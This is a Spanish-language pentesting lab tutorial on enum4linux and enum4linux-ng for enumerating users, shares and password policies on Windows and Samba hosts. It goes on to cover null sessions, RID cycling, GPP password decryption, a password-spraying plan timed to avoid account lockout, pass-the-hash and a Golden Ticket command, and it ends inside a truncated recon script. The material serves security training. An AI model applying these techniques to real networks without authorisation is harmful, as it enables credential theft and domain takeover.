📊
¿Qué es enum4linux?
Enumeración automática de Windows y Samba vía SMB, RPC y LDAP
enum4linux es una herramienta de línea de comandos escrita en Perl (y reescrita en Python en su versión moderna enum4linux-ng) que automatiza la enumeración de información de sistemas Windows y Samba a través de los protocolos SMB, RPC y LDAP. Es la herramienta de referencia para esta tarea en certificaciones como OSCP, CEH y CompTIA PenTest+, y viene incluida por defecto en Kali Linux.
enum4linux es en esencia un wrapper que automatiza las siguientes herramientas del sistema: smbclient, rpcclient, net y nmblookup, ejecutándolas en el orden correcto y consolidando toda la salida en un informe legible.
La información que puede extraer include: usuarios del dominio, grupos, recursos compartidos SMB, política de contraseñas, información del dominio/workgroup, SIDs, y datos de RID cycling para descubrir usuarios incluso cuando la enumeración directa está restringida.
🛡 HERRAMIENTA DE ENUMERACIÓN DEFENSIVA Y OFENSIVAenum4linux es usada tanto por pentesters para descubrir activos en un objetivo, como por administradores de sistemas para auditar su propia infraestructura y verificar qué información expone su red internamente. Su uso es legal en sistemas propios o con permiso explícito de auditoría.
📊¿QUÉ INFORMACIÓN PUEDE EXTRAER?
| Categoría | Datos obtenidos | Protocolo |
|---|---|---|
| Workgroup / Dominio | Nombre del dominio, nombre NetBIOS, controlador de dominio | SMB / LDAP |
| Usuarios | Lista completa de usuarios del sistema o dominio | RPC (SAMR) |
| Grupos | Grupos locales y de dominio con sus miembros | RPC (SAMR) |
| Shares SMB | Recursos compartidos y sus permisos de acceso | SMB |
| Política de contraseñas | Longitud mínima, complejidad, umbral de bloqueo | RPC |
| SIDs / RIDs | SID del dominio, RID cycling para descubrir usuarios | RPC (LSARPC) |
| Impresoras | Impresoras compartidas en la red | RPC |
| OS Info | Versión del sistema operativo, arquitectura | SMB |
🔌
Protocolos Subyacentes: SMB, RPC y LDAP
Qué protocolos usa enum4linux internamente y para qué
Para entender qué hace enum4linux es imprescindible entender los protocolos que utiliza internamente. enum4linux no implementa ninguno de ellos por sí mismo: es un wrapper que llama a las herramientas del sistema que sí lo hacen.
📂SMB — Server Message Block (Puerto 445/TCP y 139/TCP)
SMB es el protocolo de Microsoft para compartir archivos, impresoras y otros recursos en red. El puerto 445/TCP es SMB directo (moderno), mientras que el 139/TCP es SMB sobre NetBIOS (heredado). enum4linux usa smbclient para listar los recursos compartidos disponibles y comprobar el acceso anónimo.
📊RPC — Remote Procedure Call (Puerto 135/TCP y puertos dinámicos)
MSRPC (Microsoft Remote Procedure Call) permite ejecutar procedimientos remotamente. Las interfaces más importantes para enum4linux son: SAMR (Security Account Manager Remote Protocol, enumera usuarios y grupos), LSARPC (Local Security Authority, enumera SIDs y políticas), y SVCCTL (servicios del sistema). enum4linux usa rpcclient para acceder a estas interfaces.
🔌LDAP — Lightweight Directory Access Protocol (Puerto 389/TCP)
LDAP es el protocolo de acceso al directorio Active Directory. En entornos con AD, LDAP permite consultar el directorio para obtener listas completas de usuarios, grupos, OUs, políticas y mucho más. enum4linux-ng usa LDAP directamente cuando está disponible, obteniendo más información que la versión original.
Puertos que usa enum4linux
# Puertos objetivo de enum4linux:
# 139/TCP : SMB sobre NetBIOS (heredado, compatibilidad)
# 445/TCP : SMB directo (moderno, el principal)
# 135/TCP : RPC endpoint mapper
# 389/TCP : LDAP (solo enum4linux-ng con AD)
# 636/TCP : LDAPS (LDAP sobre TLS)
# Verificar puertos antes de usar enum4linux:
nmap -p 139,445,135,389 -sV 192.168.56.10
# Verificar SMB y su version especificamente:
nmap -p 445 --script smb-security-mode 192.168.56.10
nmap -p 445 --script smb2-security-mode 192.168.56.10
⚙
Instalación
enum4linux (Perl clásico) y enum4linux-ng (Python moderno)
Instalar enum4linux (version Perl original)
# En Kali Linux (preinstalado):
enum4linux --help
# Instalar si no esta:
sudo apt update && sudo apt install enum4linux -y
# Dependencias necesarias (normalmente ya instaladas en Kali):
sudo apt install smbclient rpcclient net-tools nmblookup -y
# Verificar que las dependencias esten disponibles:
which smbclient rpcclient nmblookup
# Ver la version:
enum4linux | head -5
Instalar enum4linux-ng (version moderna en Python)
# enum4linux-ng: reescritura moderna con mas funciones
# Soporta LDAP, Kerberos, salida JSON/YAML, mejor mantenida
# Instalar desde pip:
pip3 install enum4linux-ng
# Desde GitHub (version mas reciente):
git clone https://github.com/cddmp/enum4linux-ng.git
cd enum4linux-ng
pip3 install -r requirements.txt
# Verificar:
python3 enum4linux-ng.py --help
# En Kali 2024+:
sudo apt install enum4linux-ng -y
📌 ENUM4LINUX vs ENUM4LINUX-NGenum4linux (Perl, 2006): la versión clásica, ampliamente documentada, compatible con entornos Windows y Samba. La que aparece en la mayoría de walkthroughs de CTF y en el temario OSCP. enum4linux-ng (Python, 2020+): reescritura moderna con soporte para LDAP, Kerberos, salida estructurada (JSON/YAML), más opciones de autenticación y mejor mantenimiento. Recomendada para entornos modernos con Active Directory.
📄
Sintaxis y Flags
Todos los parámetros de enum4linux y enum4linux-ng
Sintaxis de enum4linux
# Sintaxis basica:
enum4linux [opciones] <IP_OBJETIVO>
# Sin opciones: muestra la ayuda
enum4linux
# Enumeracion completa (todas las categorias):
enum4linux -a 192.168.56.10
# Con credenciales (usuario y contrasena):
enum4linux -u 'jdoe' -p 'Password123' -a 192.168.56.10
# Solo como usuario nulo (null session):
enum4linux -u '' -p '' -a 192.168.56.10
-aEnumeración completa: ejecuta todos los checks disponibles (equivale a -U -S -G -P -r -o -n -i)
-UEnumerar usuarios del sistema o dominio via RPC
-GEnumerar grupos locales y de dominio via RPC
-SEnumerar recursos compartidos SMB (shares)
-PObtener la política de contraseñas del dominio
-rRID cycling: enumerar usuarios a través de SIDs
-oInformación del sistema operativo
-nInformación NetBIOS (nmblookup)
-iInformación de impresoras compartidas
-u usuarioEspecificar usuario para la autenticación
-p contrasenaEspecificar contraseña para la autenticación
-w workgroupEspecificar el workgroup o dominio manualmente
-dModo detallado: mostrar más información de depuración
-vModo verbose: mostrar los comandos ejecutados internamente
Sintaxis de enum4linux-ng (version moderna)
# Sintaxis basica:
python3 enum4linux-ng.py [opciones] <IP>
# Enumeracion completa:
python3 enum4linux-ng.py -A 192.168.56.10
# Con credenciales:
python3 enum4linux-ng.py -u jdoe -p Password123 -A 192.168.56.10
# Con salida en JSON:
python3 enum4linux-ng.py -A -oJ resultado.json 192.168.56.10
# Con salida en YAML:
python3 enum4linux-ng.py -A -oY resultado.yaml 192.168.56.10
# Opciones principales de enum4linux-ng:
# -A : todas las enumeraciones (equivale a -U -G -Shares -P -R -OS -DC -I)
# -U : usuarios
# -G : grupos
# -Shares : shares SMB
# -P : politica de contrasenas
# -R : RID cycling
# -OS : info del sistema operativo
# -DC : info del controlador de dominio (LDAP)
# -I : impresoras
# -oJ : salida en JSON
# -oY : salida en YAML
# -oA : salida en JSON y YAML a la vez
🔍
Ejercicio 1 — Enumeración Completa
El comando -a: obtener toda la información en un solo paso
El modo más habitual en un pentest o CTF: ejecutar enum4linux con el flag -a (all) para obtener toda la información disponible en un solo comando. Es el punto de partida perfecto para cualquier enumeración de SMB.
1
Enumeración completa con -aTODO EN UNO
Enumeracion completa: el comando mas usado
# El comando mas habitual en CTF y pentests:
enum4linux -a 192.168.56.10
# Con credenciales validas (mas informacion):
enum4linux -u 'jdoe' -p 'Password123' -a 192.168.56.10
# Guardar la salida completa para analizar despues:
enum4linux -a 192.168.56.10 2>&1 | tee enum4linux_output.txt
# enum4linux-ng equivalente:
python3 enum4linux-ng.py -A 192.168.56.10
python3 enum4linux-ng.py -A -oJ resultado.json 192.168.56.10
2
Interpretar la salida por seccionesINTERPRETAR
Estructura de la salida de enum4linux
# La salida de 'enum4linux -a' se divide en estas secciones:
# ========================
# | Target Information |
# ========================
# [*] IP: 192.168.56.10
# [*] Hostname: DC01
# [*] NetBIOS hostname: DC01
# [*] NetBIOS domain name: CONTOSO
# [*] Domain name: CONTOSO.LOCAL
# [*] FQDN: DC01.CONTOSO.LOCAL
# [*] OS: Windows Server 2019 Standard 17763
# ==========================
# | Users via RPC |
# ==========================
# index: 0x1 RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account
# index: 0x2 RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in guest
# index: 0x3 RID: 0x3e8 acb: 0x00000210 Account: jdoe Name: John Doe Desc:
# ==========================
# | Shares via RPC |
# ==========================
# [*] Enumerating shares
# [+] Found shares: ADMIN$, C$, IPC$, NETLOGON, SYSVOL, Data
# ==========================
# | Password Policy |
# ==========================
# [+] Minimum password length: 7
# [+] Password history length: 24
# [+] Maximum password age: 42 days
# [+] Lockout threshold: 5
3
Filtrar la salida para extraer datos claveFILTRAR
grep para extraer informacion especifica
# Extraer solo los usuarios:
enum4linux -a 192.168.56.10 2>&1 | grep 'Account:' | awk '{print $7}'
# Extraer los shares:
enum4linux -a 192.168.56.10 2>&1 | grep 'Found shares'
# Extraer la politica de contrasenas:
enum4linux -a 192.168.56.10 2>&1 | grep -A 20 'Password Policy'
# Extraer solo los grupos:
enum4linux -a 192.168.56.10 2>&1 | grep 'Group:'
# Ver todo lo marcado como [+] (hallazgos positivos):
enum4linux -a 192.168.56.10 2>&1 | grep '\[+\]'
❓ Ejercicio práctico
Ejecuta
enum4linux -a contra Metasploitable2 (o tu DC de laboratorio). ¿Cuántos usuarios encuentra? ¿Qué shares están disponibles?💡 Pista: enum4linux -a IP 2>&1 | tee salida.txt --- Luego: grep 'Account:' salida.txt | awk '{print $7}'
Ver solución
enum4linux -a 192.168.X.X 2>&1 | tee salida.txt --- grep 'Account:' salida.txt: lista todos los usuarios --- grep 'Found shares' salida.txt: lista todos los shares --- En Metasploitable2 veras usuarios como msfadmin, user, service, y shares como IPC$, print$.
👤
Ejercicio 2 — Usuarios y Grupos
Enumeración directa vía SAMR y RID cycling para descubrir todos los usuarios
La enumeración de usuarios es uno de los objetivos más valiosos de enum4linux. Con la lista de usuarios se puede realizar Password Spraying, Kerberoasting, AS-REP Roasting u otras técnicas. enum4linux usa dos métodos: enumeración directa via SAMR y RID cycling.
1
Enumerar usuarios con -UENUMERACIÓN DIRECTA
Enumerar usuarios del sistema o dominio
# Solo enumeracion de usuarios:
enum4linux -U 192.168.56.10
# Con credenciales (normalmente devuelve mas resultados):
enum4linux -U -u 'jdoe' -p 'Password123' 192.168.56.10
# Salida tipica:
# [+] Enumerating users using SID S-1-22-1 and logon username '', password ''
# S-1-22-1-1000 Unix User\msfadmin (Local User)
# S-1-22-1-1001 Unix User\service (Local User)
# enum4linux-ng:
python3 enum4linux-ng.py -U 192.168.56.10
2
RID Cycling para descubrir usuarios ocultosRID CYCLING
RID cycling: enumerar usuarios por SID bruteforce
# RID cycling: prueba RIDs desde 500 hasta el maximo
# Util cuando la enumeracion directa esta restringida
# Solo RID cycling:
enum4linux -r 192.168.56.10
# Especificar rango de RIDs:
enum4linux -R 500-600 192.168.56.10
# Como funciona:
# El SID del dominio es: S-1-5-21-XXXX-XXXX-XXXX
# El RID 500 -> Administrator (siempre)
# El RID 501 -> Guest (siempre)
# El RID 1000+ -> usuarios del dominio
# enum4linux prueba: S-1-5-21-XXXX-XXXX-XXXX-500, -501, -1000, -1001...
# Si el sistema responde con un nombre -> ese usuario existe
# Con enum4linux-ng (mas completo):
python3 enum4linux-ng.py -R 500-1200 192.168.56.10
3
Enumerar gruposGRUPOS
Enumerar grupos con -G
# Enumerar grupos:
enum4linux -G 192.168.56.10
# Salida tipica:
# [+] Got group list with rpcclient
# group:[Administrators] rid:[0x220]
# group:[Users] rid:[0x221]
# group:[Guests] rid:[0x222]
# group:[Backup Operators] rid:[0x227]
# group:[Domain Admins] rid:[0x200]
# group:[Domain Users] rid:[0x201]
# Ver miembros de un grupo especifico con rpcclient directamente:
rpcclient -U 'jdoe%Password123' 192.168.56.10 -c 'querygroupmem 0x200'
# Donde 0x200 es el RID del grupo Domain Admins
4
Guardar lista de usuarios para ataques posterioresPOST-ENUM
Extraer y guardar lista de usuarios
# Extraer usuarios del output de enum4linux y guardar:
enum4linux -U -u 'jdoe' -p 'Password123' 192.168.56.10 2>&1 | \
grep 'user:' | awk '{print $2}' | \
sed 's/\[//g;s/\]//g' > usuarios.txt
cat usuarios.txt
# Alternativa con enum4linux-ng + jq:
python3 enum4linux-ng.py -U -oJ usuarios.json 192.168.56.10
jq -r '.users | to_entries[] | .value.username' usuarios.json > usuarios.txt
# Con la lista de usuarios, realizar Password Spraying:
# (Ver lab de Responder o NetExec para el spraying)
nxc smb 192.168.56.10 -u usuarios.txt -p 'Password123' --no-bruteforce
❓ Ejercicio práctico
Usa el RID cycling de enum4linux para enumerar todos los usuarios de Metasploitable2 en el rango RID 500-1100. ¿Cuantos usuarios encuentra que la enumeración directa no detectó?
💡 Pista: enum4linux -r -R 500-1100 IP --- Compara con el resultado de enum4linux -U IP
Ver solución
enum4linux -r -R 500-1100 192.168.X.X --- El RID cycling puede revelar cuentas de sistema y de servicio que la enumeracion directa via SAMR no devuelve cuando la sesion null esta parcialmente restringida. En Metasploitable2 deberia encontrar msfadmin (1000), service (1001), user (1002), postgres (1003), etc.
📂
Ejercicio 3 — Recursos Compartidos SMB
Enumerar shares, explorar su contenido y buscar GPP Passwords en SYSVOL
Los recursos compartidos SMB son uno de los vectores de ataque más comunes en redes Windows. Saber qué shares existen y cuáles son accesibles sin credenciales (o con credenciales por defecto) es fundamental en cualquier auditoría.
1
Listar todos los shares disponiblesENUMERACIÓN
Enumerar shares SMB con -S
# Solo enumeracion de shares:
enum4linux -S 192.168.56.10
# Con credenciales:
enum4linux -S -u 'jdoe' -p 'Password123' 192.168.56.10
# Salida tipica:
# [+] Attempting to map shares on 192.168.56.10
# //192.168.56.10/ADMIN$ Mapping: DENIED, Listing: N/A
# //192.168.56.10/C$ Mapping: DENIED, Listing: N/A
# //192.168.56.10/IPC$ Mapping: OK, Listing: N/A
# //192.168.56.10/NETLOGON Mapping: OK, Listing: OK
# //192.168.56.10/SYSVOL Mapping: OK, Listing: OK
# //192.168.56.10/Data Mapping: OK, Listing: OK
# Significado de Mapping/Listing:
# Mapping OK : podemos conectarnos al share
# Listing OK : podemos listar el contenido del share
# DENIED : acceso denegado
💡 Los shares NETLOGON y SYSVOL son accesibles por cualquier usuario del dominio y pueden contener scripts de inicio de sesión con credenciales en texto plano, o GPP (Group Policy Preferences) con contraseñas cifradas con una clave pública conocida.
2
Explorar el contenido de los shares accesiblesEXPLORACIÓN
Explorar shares con smbclient despues de la enumeracion
# Una vez identificados los shares accesibles, explorar con smbclient:
# Acceso anonimo:
smbclient //192.168.56.10/SYSVOL -N
# Con credenciales:
smbclient //192.168.56.10/Data -U 'jdoe%Password123'
# Comandos dentro de smbclient:
# smb> ls <- listar contenido
# smb> cd Scripts <- entrar en directorio
# smb> get archivo.txt <- descargar archivo
# smb> put payload.exe <- subir archivo (si tenemos permiso de escritura)
# Buscar archivos sensibles en SYSVOL (GPP passwords):
smbclient //192.168.56.10/SYSVOL -U 'jdoe%Password123' \
-c 'recurse ON; ls' | grep -i '\(Groups\|Services\|Scheduledtasks\)\.xml'
# Montar el share para explorar mas comodo:
mount -t cifs //192.168.56.10/Data /mnt/smb -o user=jdoe,password=Password123
ls /mnt/smb
3
Buscar GPP Passwords en SYSVOLGPP PASSWORDS
Extraer contrasenas de GPO (MS14-025)
# Las GPP guardaban contrasenas cifradas con AES-256
# pero Microsoft publico la clave AES en 2012 -> completamente rota
# Buscar archivos Groups.xml en SYSVOL:
find /mnt/sysvol -name 'Groups.xml' 2>/dev/null
# Ver el contenido de un Groups.xml:
cat '/mnt/sysvol/CONTOSO.LOCAL/Policies/{GUID}/User/Preferences/Groups/Groups.xml'
# <Properties action='U' userName='svc_deploy' cpassword='VPe/o9YRuYNMDXB5y+y1FA==..'>
# Descifrar el cpassword con gpp-decrypt:
gpp-decrypt 'VPe/o9YRuYNMDXB5y+y1FA=='
# Devuelve la contrasena en texto plano
# O con enum4linux-ng (lo hace automaticamente):
python3 enum4linux-ng.py -A 192.168.56.10 -u jdoe -p Password123
# Busca automaticamente GPP passwords en SYSVOL
❓ Ejercicio práctico
Enumera los shares de tu DC de laboratorio. ¿Cuáles son accesibles con sesión nula (sin credenciales)? ¿Qué contiene SYSVOL? ¿Hay algún archivo Groups.xml con GPP passwords?
💡 Pista: enum4linux -S IP --- Luego: smbclient //IP/SYSVOL -N y explorar la estructura
Ver solución
enum4linux -S 192.168.56.10 --- Los shares IPC$, NETLOGON y SYSVOL suelen ser accesibles con sesion nula. Para explorar SYSVOL: smbclient //192.168.56.10/SYSVOL -N -c 'recurse ON; ls' --- Buscar Groups.xml: find /mnt/sysvol -name '*.xml' --- Si hay Groups.xml: gpp-decrypt CPASSWORD para obtener la contrasena en claro.
📊
Ejercicio 4 — Política de Contraseñas
Extraer la password policy para planificar Password Spraying sin bloquear cuentas
La política de contraseñas del dominio es información crítica para planificar un ataque de Password Spraying: saber el umbral de bloqueo de cuenta evita bloquear usuarios y ser detectado.
1
Obtener la política de contraseñasPOLITICA
Obtener password policy con -P
# Obtener politica de contrasenas:
enum4linux -P 192.168.56.10
# Con credenciales:
enum4linux -P -u 'jdoe' -p 'Password123' 192.168.56.10
# Salida tipica:
# [+] Password Info for Domain: CONTOSO
# [+] Minimum password length: 8
# [+] Password history length: 24
# [+] Maximum password age: 42 days
# [+] Minimum password age: 1 days
# [+] Password Complexity Flags: ON
# [+] Lockout Observation Window: 30 mins
# [+] Lockout Duration: 30 mins
# [+] Lockout Threshold: 5 <- CLAVE para Password Spraying
# [+] Forced Logoff Time: Not Set
💡 El campo Lockout Threshold es el más importante: si es 5, nunca hagas más de 3 intentos por usuario en una ventana de spraying. Si es 0, no hay bloqueo (puedes hacer fuerza bruta). Si es 'Not Set', tampoco hay bloqueo.
2
Interpretar la política para planificar ataquesPLANIFICACIÓN
Interpretar la password policy para Password Spraying
# EJEMPLO DE POLITICA Y SU INTERPRETACION:
# Lockout Threshold: 5 -> maximo 4 intentos por usuario
# Lockout Duration: 30 mins -> la cuenta se desbloquea en 30 minutos
# Observation Window: 30 mins -> la ventana de conteo es 30 minutos
# ESTRATEGIA DE SPRAYING:
# - Ronda 1: probar 1 contrasena contra TODOS los usuarios
# - Esperar 30 minutos (la ventana de observacion se resetea)
# - Ronda 2: probar 1 contrasena distinta contra TODOS
# - Esperar 30 minutos
# - Ronda 3: 1 contrasena mas
# Total: 3 intentos en 2 ventanas de tiempo -> por debajo del umbral de 5
# Si Lockout Threshold = 0 o Not Set:
# No hay bloqueo -> puedes hacer fuerza bruta completa
# (aunque es muy ruidoso y el IDS/SIEM lo detectara)
# Regla de oro:
# Max intentos por ronda = Lockout Threshold - 2
# (margen de seguridad de 2 intentos)
❓ Ejercicio práctico
Obtener la política de contraseñas de tu laboratorio. ¿Hay umbral de bloqueo configurado? ¿Cuántas contraseñas podrías probar en Password Spraying sin bloquear cuentas en una ventana de 30 minutos?
💡 Pista: enum4linux -P IP --- El campo Lockout Threshold es el clave.
Ver solución
enum4linux -P 192.168.56.10 --- Si Lockout Threshold=5: maximo 3 intentos por ventana (5-2=3). Si Lockout Threshold=0 o Not Set: sin limite, pero muy ruidoso. En un lab basico de Metasploitable2 probablemente no hay politica de bloqueo porque es una maquina Samba Unix, no un AD real.
🔎
Ejercicio 5 — Null Sessions
Enumeración completamente anónima: cuando SMB no requiere credenciales
Una null session (sesión nula) es una conexión anonónima al servicio SMB/IPC$ sin proporcionar usuario ni contraseña. En versiones antiguas de Windows y en muchas configuraciones de Samba, esto permite extraer gran cantidad de información sobre el sistema sin ningún tipo de autenticación.
1
Probar si el objetivo admite null sessionsCOMPROBACIÓN
Verificar null session manualmente con smbclient y rpcclient
# Verificar null session con smbclient:
smbclient -L //192.168.56.10 -N
# -N = sin contrasena
# Si devuelve la lista de shares -> null session habilitada
# Verificar con rpcclient:
rpcclient -U '' -N 192.168.56.10 -c 'querydispinfo'
# Si devuelve lista de usuarios -> null session habilitada
# Verificar con enum4linux:
enum4linux -u '' -p '' -a 192.168.56.10
# Verificar con nmap:
nmap -p 445 --script smb-security-mode 192.168.56.10
# Buscar: message_signing: disabled y account_used: guest o <blank>
2
Enumeracion completa via null sessionEXPLOTACIÓN
Enumerar toda la informacion sin credenciales
# En sistemas con null session habilitada, obtener TODO sin credenciales:
enum4linux -u '' -p '' -a 192.168.56.10
# O simplemente (enum4linux usa null session por defecto):
enum4linux -a 192.168.56.10
# Ver que comandos rpcclient funcionan sin auth:
rpcclient -U '' -N 192.168.56.10 << 'EOF'
querydispinfo <- lista usuarios
enumdomgroups <- lista grupos
getdompwinfo <- politica de contrasenas
lookupnames guest <- resolver nombre a SID
EOF
3
Sistemas modernos: null session restringidaSISTEMAS MODERNOS
Comportamiento en Windows moderno (null session restringida)
# En Windows Server 2008+ y Windows 7+:
# Las null sessions estan restringidas por defecto
# Solo IPC$ es accesible sin autenticacion
# La enumeracion de usuarios y shares esta bloqueada
# Pero aun puedes obtener:
# - Nombre del dominio y hostname (via NetBIOS)
# - Version del OS (via SMB negociacion)
# - Informacion de SMB Signing
# Verificar que tipo de restriccion tiene el objetivo:
nmap -p 445 --script smb-enum-shares --script-args smbusername='',smbpassword='' 192.168.56.10
# Si null session esta completamente bloqueada, necesitas credenciales:
# (obtenerlas via Responder, Password Spraying, etc.)
enum4linux -u 'jdoe' -p 'Password123' -a 192.168.56.10
📌 NULL SESSION EN CTFS Y ENTORNOS ANTIGUOSLas null sessions son muy comunes en máquinas de CTF (Metasploitable, HackTheBox boxes antiguas, TryHackMe) y en entornos reales con Samba mal configurado o sistemas Windows heredados (Windows XP, 2000, 2003). En entornos modernos con Windows Server 2016+ y buenas políticas de seguridad, las null sessions estarán restringidas y necesitarás credenciales válidas.
❓ Ejercicio práctico
Verifica si Metasploitable2 admite null session con rpcclient y con enum4linux. Si es así, ¿qué información puedes extraer sin proporcionar ninguna credencial?
💡 Pista: rpcclient -U '' -N IP -c 'querydispinfo' --- Si funciona, null session habilitada.
Ver solución
rpcclient -U '' -N 192.168.X.X -c 'querydispinfo' --- En Metasploitable2 obtendrás la lista de usuarios sin credenciales. enum4linux -a 192.168.X.X (sin -u ni -p) también funcionará porque Samba en Metasploitable2 tiene null sessions habilitadas por defecto.
⚙
Ejercicio 6 — enum4linux-ng
La versión Python moderna: LDAP, JSON, Kerberos y mejor soporte AD
enum4linux-ng es la reescritura moderna de enum4linux en Python. Ofrece mejoras sustanciales: soporte nativo para LDAP, salida en JSON/YAML para automatización, mejor detección en sistemas modernos, y soporte para Kerberos. Es la versión recomendada para entornos con Active Directory.
1
Enumeración completa con enum4linux-ngENUMERACIÓN
enum4linux-ng: enumeracion completa con salida JSON
# Enumeracion completa (equivale a -a de enum4linux):
python3 enum4linux-ng.py -A 192.168.56.10
# Con credenciales:
python3 enum4linux-ng.py -A -u jdoe -p Password123 192.168.56.10
# Guardar en JSON:
python3 enum4linux-ng.py -A -oJ resultado.json 192.168.56.10
# Guardar en JSON y YAML:
python3 enum4linux-ng.py -A -oA salida 192.168.56.10
# Genera salida.json y salida.yaml
# Con hash NTLM (Pass-the-Hash):
python3 enum4linux-ng.py -A -u Administrator -H NTHASH 192.168.56.10
2
Enumeración via LDAP (solo Active Directory)LDAP AD
Usar LDAP para enumeracion mas completa en AD
# enum4linux-ng puede usar LDAP cuando el objetivo es un DC
# Esto proporciona mas informacion que RPC puro
# Enumeracion incluyendo consultas LDAP:
python3 enum4linux-ng.py -A -L 192.168.56.10
# -L = incluir enumeracion LDAP
# Solo enumeracion LDAP del DC:
python3 enum4linux-ng.py -DC 192.168.56.10
# La salida LDAP incluye:
# - Distinguished Name del DC
# - Nivel funcional del dominio
# - Nombre DNS del dominio
# - GUID del dominio
# - Mas detalle de usuarios y grupos
# Con credenciales + LDAP:
python3 enum4linux-ng.py -A -L -u jdoe -p Password123 192.168.56.10
3
Procesar la salida JSON con PythonJSON PROCESSING
Analizar la salida JSON de enum4linux-ng
#!/usr/bin/env python3
# Analizar salida JSON de enum4linux-ng
import json
import sys
with open(sys.argv[1] if len(sys.argv) > 1 else 'resultado.json') as f:
data = json.load(f)
print('=== OBJETIVO ===')
target = data.get('target', {})
print(f' IP: {target.get("host", "?")}')
print(f' Domain: {target.get("domain", "?")}')
print(f' OS: {data.get("os", {}).get("os", "?")}')
print('\n=== USUARIOS ===')
users = data.get('users', {})
for uid, user in users.items():
print(f' [{uid}] {user.get("username","?")} - RID: {user.get("rid","?")}')
print('\n=== SHARES ===')
shares = data.get('shares', {})
for name, share in shares.items():
mapping = share.get('access', {}).get('mapping', '?')
listing = share.get('access', {}).get('listing', '?')
print(f' {name}: Mapping={mapping}, Listing={listing}')
print('\n=== POLITICA CONTRASENAS ===')
pol = data.get('password_policy', {})
print(f' Min length: {pol.get("min_password_length", "?")} chars')
print(f' Max age: {pol.get("password_max_age", "?")} days')
print(f' Lockout: {pol.get("lockout_threshold", "?")} intentos')
# Uso:
# python3 analizar_enum4linux.py resultado.json
❓ Ejercicio práctico
Ejecuta enum4linux-ng con la flag
-A -oJ y analiza el JSON generado. ¿Qué información adicional proporciona respecto a la versión clásica de enum4linux?💡 Pista: python3 enum4linux-ng.py -A -oJ out.json IP --- Luego: python3 -m json.tool out.json | less
Ver solución
python3 enum4linux-ng.py -A -oJ out.json 192.168.56.10 --- enum4linux-ng ofrece: salida JSON estructurada para procesar, deteccion de LDAP signing, Kerberos pre-auth status, mas detalles de usuarios (badpwdcount, lastlogon), y mejor manejo de errores. Con -DC anade informacion especifica del controlador de dominio que la version Perl no puede obtener.
🛠
Ejercicio 7 — Enumeración de Active Directory
Dominio, SIDs, rpcclient directo y combinación con ataques Kerberos
En entornos con Active Directory, enum4linux puede extraer información muy valiosa sobre la estructura del dominio. Combinado con herramientas como rpcclient directamente, se puede profundizar en la enumeración de grupos, SIDs y relaciones de confianza.
1
Enumeración del dominio AD con enum4linuxDOMINIO AD
Enumeracion AD: informacion del dominio
# Informacion del dominio con enum4linux:
enum4linux -n -o -U -G -a 192.168.56.10
# -n : informacion NetBIOS (nombre del dominio, DC, etc.)
# -o : informacion del OS
# -U : usuarios
# -G : grupos
# Salida de -n (NetBIOS info):
# [*] [192.168.56.10] DC01 <00> - B -> Workstation/server name
# [*] [192.168.56.10] CONTOSO <00> - B -> Domain name
# [*] [192.168.56.10] CONTOSO <1c> - B -> Domain Controller
# Obtener el SID del dominio (necesario para Golden Ticket):
enum4linux -o 192.168.56.10 2>&1 | grep 'Domain Sid'
# [+] Domain Sid: S-1-5-21-3623811015-3361044348-30300820
2
Enumeración con rpcclient directamenteRPCCLIENT
rpcclient: herramienta subyacente de enum4linux
# enum4linux usa rpcclient internamente.
# Para mayor control, usar rpcclient directamente:
# Conectar:
rpcclient -U 'jdoe%Password123' 192.168.56.10
# Comandos dentro de rpcclient:
rpcclient $> querydispinfo # Lista usuarios del dominio
rpcclient $> enumdomgroups # Lista grupos del dominio
rpcclient $> querydominfo # Info general del dominio
rpcclient $> getdompwinfo # Politica de contrasenas
rpcclient $> enumdomusers # Usuarios (mas detalle)
rpcclient $> querygroup 0x200 # Info de un grupo por RID (0x200=Domain Admins)
rpcclient $> querygroupmem 0x200 # Miembros de un grupo
rpcclient $> queryuser 0x1f4 # Info de usuario por RID (0x1f4=Administrator)
rpcclient $> lookupsids S-1-5-21-...-500 # Nombre de un SID
rpcclient $> lookupnames jdoe # SID de un nombre
rpcclient $> lsaenumsid # Lista todos los SIDs
rpcclient $> netshareenumall # Lista todos los shares
3
Extraer el SID del dominio y combinarlo con otros ataquesSID + ATAQUES
Usar el SID del dominio para ataques Kerberos
# El SID del dominio es necesario para:
# - Crear Golden Tickets (con Impacket ticketer.py)
# - Pass-the-Ticket
# - Forja de Silver Tickets
# Obtener el SID del dominio con enum4linux:
enum4linux -a 192.168.56.10 2>&1 | grep 'Domain Sid'
# [+] Domain Sid: S-1-5-21-3623811015-3361044348-30300820
# O con rpcclient:
rpcclient -U 'jdoe%Password123' 192.168.56.10 -c 'lsaquery'
# Domain Sid: S-1-5-21-3623811015-3361044348-30300820
# Usar el SID con Impacket para Golden Ticket (ver lab de Impacket):
python3 ticketer.py \
-nthash KRBTGT_HASH \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain CONTOSO.LOCAL \
Administrator
❓ Ejercicio práctico
Usando rpcclient directamente (la herramienta subyacente de enum4linux), lista los miembros del grupo Domain Admins (RID 0x200) de tu DC de laboratorio. ¿Qué comando de rpcclient usas?
💡 Pista: rpcclient -U 'user%pass' IP --- dentro: querygroupmem 0x200
Ver solución
rpcclient -U 'Administrator%P@ssw0rd' 192.168.56.10 --- rpcclient $> querygroupmem 0x200 --- Devuelve los RIDs de los miembros del grupo Domain Admins. Para ver el nombre de cada RID: queryuser 0xRID --- Esto es exactamente lo que hace enum4linux -G internamente.
💻
Ejercicio 8 — Integración en Pipelines
Combinar enum4linux con Nmap, NetExec y BloodHound en workflows automatizados
enum4linux se integra perfectamente en pipelines de reconocimiento automatizados. Una vez completada la enumeración, los datos pueden pasarse directamente a herramientas de ataque como NetExec para Password Spraying o Impacket para explotación.
💻PIPELINE COMPLETO: NMAP + ENUM4LINUX + NETEXEC
Pipeline de reconocimiento automatizado
#!/bin/bash
# Pipeline: descubrimiento -> enumeracion SMB -> spraying
# Uso: ./recon_smb.sh 192.168.56.0/24
RANGO=${1:-"192.168.56.0/24"}
OUT="recon_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUT"
echo '[1] Descubriendo hosts con SMB abierto (445/TCP)...'
nmap -p 445 "$RANGO" --open -oG "$OUT/nmap_smb.txt" -q
grep 'open' "$OUT/nmap_smb.txt" | awk '{print $2}' > "$OUT/hosts_smb.txt"
echo " Hosts con SMB: $(wc -l < $OUT/hosts_smb.txt)"
